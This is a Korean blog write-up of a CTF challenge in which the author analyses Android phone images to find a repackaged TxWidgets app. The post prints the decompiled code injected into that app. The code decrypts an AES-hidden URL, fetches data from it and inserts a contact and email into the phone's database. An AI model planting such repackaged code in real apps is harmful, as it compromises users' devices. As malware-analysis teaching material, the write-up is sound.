HDCON 2011 예선 Stage 4 – 안드로이드 악성코드 분석

stage 4 문제는 제게 큰 짜릿함을 맛보게 해준 문제입니다. 대회 첫 째날이 종료되기 몇 시간 전부터 보기 시작했는데 밤 새고 대회 둘 째날이 종료되기 27분 전에야 패스워드를 인증했기 때문이죠. 중간에 잠시 눈 붙인 몇 시간을 제외하면 꼬박 24시간을 이 문제에 붙었었는데, 포기하지 않고 끝까지 보니까 결국 풀리더군요. 그 때의 짜릿함은 정말 엄청났습니다.

그리고 미리 말씀드리자면 이 풀이는 정말 깁니다.

Qusetion

4번 문제 : 안드로메다 소녀 ‘안드로’는 최근 스마트폰에 각종 Application을 설치하여 사용하는 재미에 빠져있다. 그런데 어느 순간부터 스마트폰이 이상하다는 느낌이 들기 시작했다. 여기 ‘안드로’ 소녀의 스마트폰 이미지가 있다. 아래 이미지를 분석하여 ‘안드로’ 소녀의 스마트폰의 문제를 찾아라.

정답은 악성코드가 사용하는 정보의 조합이다. 정보가 여러 개라면 긴 문자열 순으로 나열하고 정보와 정보사이는 ‘_’ 로 연결하라.
예) XXXXXXX 와 YYY 와 Z 라면 정답은 XXXXXXX_YYY_Z 이다.

ID: stage4 , PASSWORD: 획득한 패스워드

Analysis

주어진 압축 파일을 해제하면 cache.img, sdcard.img, userdata.img, userdata-qemu.img 이렇게 네 개의 파일이 있습니다. 이 파일들은 안드로이드 폰의 이미지 파일입니다. sdcard.img는 FAT32 포맷이고, 나머지 세 개는 VMS 포맷입니다.

이번 문제는 안드로이드의 이미지 파일에서 악성코드를 찾아내어 분석하는 것이네요.

Solution

악성코드를 찾기 위해서 우선 이미지 파일들을 안드로이드 에뮬레이터로 읽어들여야 합니다. 안드로이드 SDK와 ADT 플러그인을 설치한 후, AVD를 생성합니다[^1]. 이런 과정을 모두 설명하려면 너무 길어지기 때문에 주석을 참고하는 게 좋을 것 같네요. 에뮬레이터가 정상적으로 실행되면 생성된 avd 디렉토리에 네 개의 이미지 파일들을 집어넣고,  AVD 편집 메뉴에서 SDCard의 경로를 수정합니다. 이렇게 하여 다시 AVD를 에뮬레이터로 실행하면 “안드로” 소녀의 스마트폰 환경이 재현되지요.

사용자 삽입 이미지[그림1] 에뮬레이터로 재현한 “안드로” 소녀의 스마트폰

문제에서 설명대로라면 각종 앱들을 설치하다가 어느 순간부터 이상하다는 느낌을 받았다고 합니다. 그렇다면 “안드로” 소녀가 어떤 앱들을 설치했는지 확인해야겠지요. 다음 순서대로 따라간 후, Downloaded 목록을 확인합니다.

MENU -> Settings -> Applications -> Manage applications -> Downloaded

Downloaded 목록에는 사용자가 다운로드하여 설치한 앱들이 나옵니다. “안드로” 소녀의 폰에는 9개의 사용자 앱이 설치되어 있습니다.

사용자 삽입 이미지[그림2] “안드로” 소녀가 설치한 앱들

이 9개의 앱들 중에서 어떤 게 악성코드인지를 찾아야 합니다. 찾기 이전에 알아두어야 할 게 있습니다. 최근의 안드로이드 악성코드에 대한 이슈는 리패키징(Repackaging)입니다. 안드로이드 Dalvik이 Java 기반이기 때문에 패키지 파일은 디컴파일이 가능합니다. 이런 성격을 이용하여 공격자는 정상적인 앱을 디컴파일하여 공격 코드를 삽입한 후에 다시 패키징하여 배포하는 게 최근의 경향입니다. 아마 “안드로” 소녀도 공격자가 재배포한 악성 앱을 다운로드하여 설치했을 가능성이 크겠지요.

이제 “안드로” 소녀가 설치한 9개의 앱들의 apk 파일들을 모두 추출할 차례입니다. 설치된 앱의 apk 파일의 경로를 알기 위해서는 다음의 순서대로 찾아갑니다.

앱 목록 -> Dev Tools -> Package Browser -> 앱 선택

apk 파일의 경로를 확인하였으면 adb의 pull 명령을 이용하여 apk 파일들을 추출[^2]합니다.

사용자 삽입 이미지[그림3] adb의 pull 명령으로 안드로이드 메모리 내의 파일을 추출한다.

추출한 앱이 악성코드인지, 즉 다시 말해서 리패키징된 앱인지를 알기 위해서는 원본 apk 파일과 diff 툴로 비교하거나 md5 값을 구하여 비교합니다. 앞서 apk 파일의 경로를 확인하기 위하여 이용하였던 Package Browser에는 앱의 버전 정보도 나와 있습니다. 마켓이나 인터넷에서 동일 버전의 원본 apk 파일을 구하여 “안드로” 소녀의 폰에서 추출한 apk 파일과 비교하는 것이죠.

apk 파일 자체를 비교하여도 되고, apk 파일 내부의 classes.dex와 lib 아래의 so 파일들을 직접 비교하여도 됩니다. 추출한 앱이 악성코드가 아니라면, 동일 버전의 원본 앱과 diff 결과나 md5 값이 동일하죠. 그러나 diff 결과와 md5 값이 다르면 일단 리패킹징이 되었다고 의심해봐야 합니다.

9개의 앱 중에서 동일 버전의 원본 앱과 다른 앱은 TxWidgets 하나입니다. 다른 8개는 모두 원본과 동일하였습니다. TxWidgets가 리패키징이 되었다면, 앱을 구성하는 class들 중에서 다른 부분이 있을 것입니다. 그렇기 때문에 dex2jar[^3]로 tmi.li.txwidgets-1.apk 안의 classes.dex를 jar로 변환한 후 압축을 풀어서 class 파일들을 추출합니다. 그리고 마찬가지로 동일 버전의 TxWidgets 원본의 class 파일들과 비교를 하는 것이죠.

추출한 TxWidgets의 class들과 원본 TxWidgets의 class들 간의 diff 결과는 아래와 같습니다.

Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class differ
Only in tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck: TxClckProvider$TxClckZ.class
Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class differ


결과를 보면, TxBtryProvider.class와 TxClckProvider.class가 다르고 TxClckProvider 클래스 내에 TxClckZ가 추가되었음을 알 수 있습니다.

어떤 클래스가 다른지를 알았으니 JAD[^4]나 JD-GUI[^5]와 같은 Java 디컴파일 툴로 해당 class 파일들을 디컴파일합니다. 정확히 class 내의 어떤 소스코드가 다른지 알려면 JAD로 디컴파일하여 나온 jad 파일을 원본을 디컴파일한 jad 파일과 diff 툴로 비교하는 게 조금 더 편합니다.

사용자 삽입 이미지[그림4] 왼쪽이 추출한 TxClckProvider.jad, 오른쪽이 원본 TxClckProvider.jad

TxBtryProvider는 거의 차이가 없습니다. 아주 미묘하죠. 실제로 악성코드가 심어진 클래스는 TxClckProvider입니다. TxClckZ 내부클래스가 추가되었고, getDetail, getDetailInfo 메소드가 추가되었고, updateWidget 메소드에서는 다음과 같은 코드도 추가되었습니다.

String str2 = TxClckZ.decrypt("TxWthrUpdate", "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889");
localObject = str2;
getDetail(paramContext, (String)localObject);


분석을 해보면 TxWidgets의 시계 위젯이 업데이트될 때 updateWidget 메소드가 호출되고 위 코드가 실행되는 것이죠. TxClckZ 클래스는 AES 암복호화 클래스입니다. TxClckZ.decrypt 메소드는 AES 복호화를 위한 Key와 복호화할 Cipher를 인자로 받습니다. 그리고 복호화한 문자열을 getDetail 메소드에 인자로 넣죠.

아래는 getDetail 메소드의 코드입니다. 인자로 받은 문자열을 URL 주소로 하여 HTTP 통신을 하고 웹페이지의 어떠한 문자열을 버퍼로 담아 getDetailInfo 메소드를 호출합니다.

public static void getDetail(Context paramContext, String paramString)
{
    try
    {
        ContentResolver localContentResolver = paramContext.getContentResolver();
        Uri localUri = ContactsContract.Contacts.CONTENT_URI;
        if (localContentResolver.query(localUri, null, null, null, null).getCount() < 23);

        while (true)
        {
            if (isFirst)
            {
                DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
                HttpGet localHttpGet = new HttpGet(paramString);
                HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);

                if (localHttpResponse.getStatusLine().getStatusCode() != 200)
                    continue;

                InputStream localInputStream = localHttpResponse.getEntity().getContent();
                InputStreamReader localInputStreamReader = new InputStreamReader(localInputStream);
                String str = new BufferedReader(localInputStreamReader).readLine();

                if (!isFirst)
                    continue;

                getDetailInfo(paramContext, str);
                continue;
            }
        }
    }
    catch (Exception localException)
    {
        return;
    }
}


아래는 getDetailInfo 메소드의 코드입니다. getDetail 메소드에서 얻은 문자열을 TxClckZ.decrypt 메소드로 다시 복호화합니다. 복호화한 문자열은 파싱되어서 연락처와 이메일 주소 DB에 등록됩니다.

public static void getDetailInfo(Context paramContext, String paramString)
{
    Object localObject = (String[])0;
    try
    {
        String[] arrayOfString = TxClckZ.decrypt("TxWthrUpdate", paramString).split("[,]");
        localObject = arrayOfString;
label19: 
        String str1 = localObject[0];
        String str2 = localObject[1];
        try
        {
            ContentResolver localContentResolver = paramContext.getContentResolver();
            ContentValues localContentValues = new ContentValues();

            Integer localInteger1 = Integer.valueOf(0);
            localContentValues.put("contact_id", localInteger1);
            Integer localInteger2 = Integer.valueOf(3);
            localContentValues.put("aggregation_mode", localInteger2);

            Uri localUri1 = ContactsContract.RawContacts.CONTENT_URI;
            long l = ContentUris.parseId(localContentResolver.insert(localUri1, localContentValues));

            localContentValues.clear();
            Long localLong1 = Long.valueOf(l);
            localContentValues.put("raw_contact_id", localLong1);
            localContentValues.put("mimetype", "vnd.android.cursor.item/phone_v2");

            Integer localInteger3 = Integer.valueOf(2);
            localContentValues.put("data2", localInteger3);
            localContentValues.put("data1", str1);

            Uri localUri2 = ContactsContract.Data.CONTENT_URI;
            Uri localUri3 = localContentResolver.insert(localUri2, localContentValues);

            localContentValues.clear();
            Long localLong2 = Long.valueOf(l);
            localContentValues.put("raw_contact_id", localLong2);
            localContentValues.put("mimetype", "vnd.android.cursor.item/email_v2");

            Integer localInteger4 = Integer.valueOf(4);
            localContentValues.put("data2", localInteger4);
            localContentValues.put("data1", str2);

            Uri localUri4 = ContactsContract.Data.CONTENT_URI;
            Uri localUri5 = localContentResolver.insert(localUri4, localContentValues);

            isFirst = 0;
            return;
        }
        catch (Exception localException1)
        {
            return;
        }
    }
    catch (Exception localException2)
    {
        break label19;
    }
}


예, 확실히 TxWidgets가 악성코드임을 알 수 있습니다. 그런데 이 악성코드가 정확히 어떤 정보를 사용하는지를 알려면 AES로 암호화된 Cipher을 복호화해야 합니다. key와 Cipher를 다시 정리하면 아래와 같습니다.

Key = "TxWthrUpdate"
Cipher = "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889"


이 악성코드에서 사용된 AES 암복호화 코드는 추가된 TxClckZ 클래스에 구현되어 있습니다. 이 코드는 실제로 안드로이드 앱에서 많이 사용되는 AES 암복호화 코드[^6]입니다. 그리고 최근에 이슈가 된 DroidKungFu에서도 이 코드가 사용된 것으로 알려져 있죠.

저 Key로 Cipher를 복호화하면 악성코드가 어떤 정보를 사용했는지 알 수 있을텐데요. 그런데 AES 암복호화 코드를 그대로 이용하여 Java로 작성하여 실행하면 패딩이 맞지 않다는 오류가 출력되면서 복호화가 되지 않습니다. 제가 이 부분에서 근 하루를 허비했죠.

조금만 생각해보면 간단합니다. 실제로 안드로이드 앱에서 사용되는 코드이고, DroidKungFu도 사용한 코드입니다. 분명히 정상적으로 실행되는 코드라는 것이죠. 그런데 Java로 구현하여 실행하면 오류가 발생합니다. 이 얘기는 PC의 Java JVM과 안드로이드의 Dalvik JVM이 차이가 있다는 얘기지요.

그러므로 AES 암복호화 코드를 이용하여 Cipher를 복호화하는 프로그램을 안드로이드 앱으로 작성하면 정상적으로 실행될 것입니다. 직접 앱을 만들어도 되고, 예제로 있는 SimpleCryptoExample[^7]를 수정하여도 됩니다. 저는 예제 앱을 수정하였습니다.

사용자 삽입 이미지[그림5] AES Cipher를 안드로이드에서 복호화한다.

역시 처음 분석한 대로 URL 주소가 복호화되었습니다. 저 주소로 접속하면 다음과 같은 문자열을 얻을 수 있습니다. 역시 AES Cipher이죠.

Cipher = "517A4D557F2B4FE775340A84D9E9B5A3DA4E56E9A3E2687995F92EC7B3805A064E90239F20FE04FA64DF842DFDC9FCDB"


이번에도 안드로이드 앱을 수정하여 동일한 Key로 복호화합니다. 그러면 악성코드가 DB에 등록할 연락처 번호와 이메일 주소를 얻을 수 있습니다.

사용자 삽입 이미지[그림6] 마지막으로 복호화하면 연락처 번호화 이메일 주소를 얻는다.

그래서 패스워드는? “4ndr0M4l@k1s4.xyz.123_62922741337” 입니다.

  1. 안드로이드 개발환경 설치하기 :: http://underclub.tistory.com/242
  2. Android Debug Bridge :: http://developer.android.com/guide/developing/tools/adb.html
  3. dex2jar :: http://code.google.com/p/dex2jar/
  4. JAD :: http://www.varaneckas.com/jad
  5. JD-GUI :: http://java.decompiler.free.fr/?q=jdgui
  6. Encrypt/Decrypt Strings :: http://www.androidsnippets.com/encryptdecrypt-strings
  7. SimpleCryptoExample :: http://theeye.pe.kr/entry/simple-aes-based-encryption-util-for-java-and-android

Similar Posts

  • 노트북 도청 방지 버튼? ActiveX의 반복?

    어제 동아일보에 노트북의 내장마이크에 의해 도청이 가능하다는 기사(http://news.donga.com/3/all/20100107/25242944/1)가 게재되었습니다. 기사 내용에 따르면, 시나리오는 아래와 같습니다. 악성코드 실행 -> 내장 마이크 on -> 음성파일 녹음 -> 공격자에게 전송 처음에 전 희박한 가능성이라도 시나리오를 공개하고 대중에게 주의하라고 알릴 수 있는 이 기사의 기능에 대해 긍정적이었습니다. 보안은 어렵다, 직접 겪지 않아서 아직 와닿지 않는다 등등의 보안에 대한 대중의…

  • 올블로그, 악성코드에 취약하다.

    오늘 “<p> 태그와 block, inline의 관계“라는 제목의 글을 올리고 놀라고 말았다. 올블로그의 실시간 글 목록에서 제목의 “<p>” 부분을 태그로 인식한 것이다. 아래는 캡쳐 화면이다. 이게 무슨 큰 문제이냐고 할 지 모르지만, 의외로 큰 허점이 될 수 있다. 제목에서 태그를 인식하고 목록에서 그것을 표현한다는 것은 악성태그 역시 인식이 된다는 얘기다. 올블로그 측에서 <p> 태그처럼 별 문제…

  • 까보소 :: 스마트폰 보안… 호들갑?

    스마트폰, 보안문제 호들갑 원인 따로 있다 http://www.computertimes.co.kr/news/articleView.html?idxno=24803지난 주 안드로이드 마켓에 엔프로텍트 모바일이 등록되었습니다. 그리고 이미 이전부터 예상되었듯이 여러 블로그와 커뮤니티에서 안드로이드용 엔프로텍트 모바일에 대한 비판이 쇄도를 이루었죠. 잉카인터넷의 엔프로텍트는 안철수연구소의 V3와 하우리의 바이로봇과 더불어 국내 3대 백신 중의 하나입니다. 그리고 세계 대표 백신 엔진 39개 중의 하나이기도 하죠. 잉카인터넷의 악성코드 샘플 수집능력과 분석능력은 세계적으로 훌륭하다고…

  • smpCTF 2010 Challenge 5 Writeup – 포렌식 기초

    문제 We are sure we left, a flag in here somewhere… Right redsand? Can you help find it? The file: download 문제 분석 이 문제는 주어진 파일 내에서 flag 값을 찾는 포렌식 유형입니다. 이런 경우, 보통 파티션 이미지나 그림 파일, 문서 파일, pcap 파일 등이 주어집니다. 파티션 이미지라면 flag 가 숨겨진 파일을 찾아야 하고, 파일이…

  • 까보소 :: 보안의 흐름은 스마트폰으로?

    애플 모바일운영체제(iOS) 신규취약점 주의 http://kjcc2.tistory.com/710 다들 아시다시피 아이폰, 아이패드, 아이팟의 IOS 에서 취약점이 발견되었습니다. 최초에 이 취약점은 탈옥(Jailbreak)용으로 발표되었는데, 원격 코드 실행과 권한 상승이 가능하여 긴급 취약점으로 분류되었지요. Apple iOS pdf Jailbreak Exploit :: http://www.exploit-db.com/sploits/ios_pdf_exploit.7z 이번 취약점은 PDF 파일의 폰트를 처리하는 과정에서 발생하며, 아래 자료에서 잘 설명되어 있습니다. Jailbreak with PDF FlateDecode filter :: http://digdog.tumblr.com/post/894317027/jailbreak-with-pdf-flatedecode-filter…

  • [KUCIS Project] 취약점을 찾기 위한 fuzzing 기술의 구현

    Articles에 문서를 업데이트 했습니다.2010년도 KUCIS 프로젝트로서 공부한 Fuzzing에 대한 보고서입니다. 입문서 수준이라서 민망하지만, Fuzzing에 대한 국내 자료가 별로 없기 때문에 공부 시작하시는 분들께 자그마한 도움이 되었으면 되었으면 합니다.내년 프로젝트는 기존에 했던 파일 완전삭제 또는 파일 복구, Windows 루트킷, Fuzzing 중의 하나를 했으면 좋겠는데, 내년 회장이 어떤 결정을 할지… 매년 새로운 걸 하다보니 참 힘드네요. 자료…

0 Comments

  1. 우와..정말 대단하시네요 ㅎㅎ
    감사히 잘보고갑니다!
    아무리 생각해도 자바는 그 효율성만큼 악용되기도 쉬운것같아서 참 아쉽네요 ㅠㅠ

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다